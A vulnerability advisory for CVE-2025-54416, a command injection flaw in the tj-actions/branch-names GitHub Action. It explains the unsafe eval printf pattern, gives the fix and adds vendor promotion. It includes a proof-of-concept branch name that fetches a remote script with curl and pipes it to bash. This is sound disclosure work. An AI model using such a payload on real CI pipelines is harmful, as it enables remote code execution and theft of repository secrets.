CVE-2025-54416 is a critical-severity (CVSS 9.1) CWE-77 vulnerability in tj-actions/branch-names. A fix is available for tj-actions/branch-names — see the affected versions and patch details below.
tj-actions/branch-names Contains Command Injection Vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54416.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-54416 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
tj-actions/branch-namesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.
Description
Overview
A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.
Technical Details
The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"
This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.
Proof-of-Concept (PoC)
- Create a branch with the name
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash). - Trigger the vulnerable workflow by opening a pull request into the target repository.
- Observe arbitrary code execution in the workflow logs.
Example output:
Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner
Impact
This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names. The severity of the impact depends on the permissions granted to the GITHUB_TOKEN and the context of the triggering event. Potential consequences include:
- Theft of sensitive secrets stored in the repository.
- Unauthorized write access to the repository.
- Compromise of the repository's integrity and security.
Mitigation and Resolution
To address this vulnerability, the unsafe eval printf "%s" pattern must be replaced with safer alternatives. Specifically, direct printf calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"
This approach ensures that all outputs remain properly escaped and safe for downstream consumption.
Recommendations
- Immediate Action: Developers using the
tj-actions/branch-namesworkflow should update their workflows to latest major version v9.
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦GitHub Actions | tj-actions/branch-names | all versions | 9.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tj-actions/branch-names, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tj-actions/branch-names to 9.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54416 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-54416 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-54416. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-54416 in your dependencies?
O3 Security finds CVE-2025-54416 across GitHub Actions dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.